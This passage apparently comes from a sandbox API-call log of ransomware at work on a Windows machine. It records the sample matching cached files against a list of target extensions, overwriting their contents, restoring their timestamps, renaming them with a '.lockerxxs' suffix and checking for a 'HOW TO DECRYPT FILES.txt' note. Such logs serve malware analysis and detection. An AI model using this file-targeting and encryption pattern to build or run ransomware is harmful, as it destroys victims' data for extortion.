HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg." [0082.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.lockerxxs" [0082.960] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.961] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x878 [0082.961] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52f59090, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52f59090, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52f59090, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.961] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.961] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x852, lpOverlapped=0x0) returned 1 [0082.963] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg") returned="BBBUqkT[2].jpg" [0082.963] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.963] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x852, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x852, lpOverlapped=0x0) returned 1 [0082.963] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.964] CloseHandle (hObject=0xa4) returned 1 [0082.964] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg.lockerxxs")) returned 1 [0082.965] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x530afcf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBX3z0[1].jpg", cAlternateFileName="BBBX3Z~1.JPG")) returned 1 [0082.965] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBX3z0[1].jpg") returned 1 [0082.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBX3z0[1].jpg") returned 1 [0082.965] lstrcmpiA (lpString1="", lpString2="BBBX3z0[1].jpg") returned -1 [0082.965] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg") returned="BBBUqkT[2].jpg" [0082.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.965] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.965] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.965] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.965] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBX3z0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" [0082.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.ems") returned 0 [0082.965] lstrlenA (lpString="*.ems") returned 5 [0082.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.db") returned 0 [0082.966] lstrlenA (lpString="*.db") returned 4 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.dbf") returned 0 [0082.966] lstrlenA (lpString="*.dbf") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.myox") returned 0 [0082.966] lstrlenA (lpString="*.myox") returned 6 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.myo") returned 0 [0082.966] lstrlenA (lpString="*.myo") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbw") returned 0 [0082.966] lstrlenA (lpString="*.qbw") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbb") returned 0 [0082.966] lstrlenA (lpString="*.qbb") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbm") returned 0 [0082.966] lstrlenA (lpString="*.qbm") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbo") returned 0 [0082.966] lstrlenA (lpString="*.qbo") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbx") returned 0 [0082.966] lstrlenA (lpString="*.qbx") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qba") returned 0 [0082.966] lstrlenA (lpString="*.qba") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qby") returned 0 [0082.966] lstrlenA (lpString="*.qby") returned 5 [0082.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qbj") returned 0 [0082.966] lstrlenA (lpString="*.qbj") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.ofx") returned 0 [0082.967] lstrlenA (lpString="*.ofx") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.qif") returned 0 [0082.967] lstrlenA (lpString="*.qif") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.mye") returned 0 [0082.967] lstrlenA (lpString="*.mye") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.mbox") returned 0 [0082.967] lstrlenA (lpString="*.mbox") returned 6 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.eml") returned 0 [0082.967] lstrlenA (lpString="*.eml") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.pst") returned 0 [0082.967] lstrlenA (lpString="*.pst") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.ost") returned 0 [0082.967] lstrlenA (lpString="*.ost") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.idx") returned 0 [0082.967] lstrlenA (lpString="*.idx") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.dbx") returned 0 [0082.967] lstrlenA (lpString="*.dbx") returned 5 [0082.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.sql") returned 0 [0082.968] lstrlenA (lpString="*.sql") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.mdb") returned 0 [0082.968] lstrlenA (lpString="*.mdb") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.fdb") returned 0 [0082.968] lstrlenA (lpString="*.fdb") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.wab") returned 0 [0082.968] lstrlenA (lpString="*.wab") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.dat") returned 0 [0082.968] lstrlenA (lpString="*.dat") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.txt") returned 0 [0082.968] lstrlenA (lpString="*.txt") returned 5 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.jpeg") returned 0 [0082.968] lstrlenA (lpString="*.jpeg") returned 6 [0082.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", pszSpec="*.jpg") returned 1 [0082.968] lstrlenA (lpString="*.jpg") returned 5 [0082.968] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" [0082.968] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" [0082.968] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg." [0082.968] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.lockerxxs" [0082.969] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.970] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x77f [0082.970] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.970] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.970] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x759, lpOverlapped=0x0) returned 1 [0082.972] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg") returned="BBBX3z0[1].jpg" [0082.972] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.972] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x759, lpOverlapped=0x0) returned 1 [0082.973] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.973] CloseHandle (hObject=0xa4) returned 1 [0082.973] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg.lockerxxs")) returned 1 [0082.974] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x538b8730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x22b3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBYEW1[1].jpg", cAlternateFileName="BBBYEW~1.JPG")) returned 1 [0082.974] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBYEW1[1].jpg") returned 1 [0082.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBYEW1[1].jpg") returned 1 [0082.974] lstrcmpiA (lpString1="", lpString2="BBBYEW1[1].jpg") returned -1 [0082.974] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg") returned="BBBX3z0[1].jpg" [0082.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.974] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.974] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBYEW1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" [0082.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.ems") returned 0 [0082.974] lstrlenA (lpString="*.ems") returned 5 [0082.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.db") returned 0 [0082.974] lstrlenA (lpString="*.db") returned 4 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.dbf") returned 0 [0082.975] lstrlenA (lpString="*.dbf") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 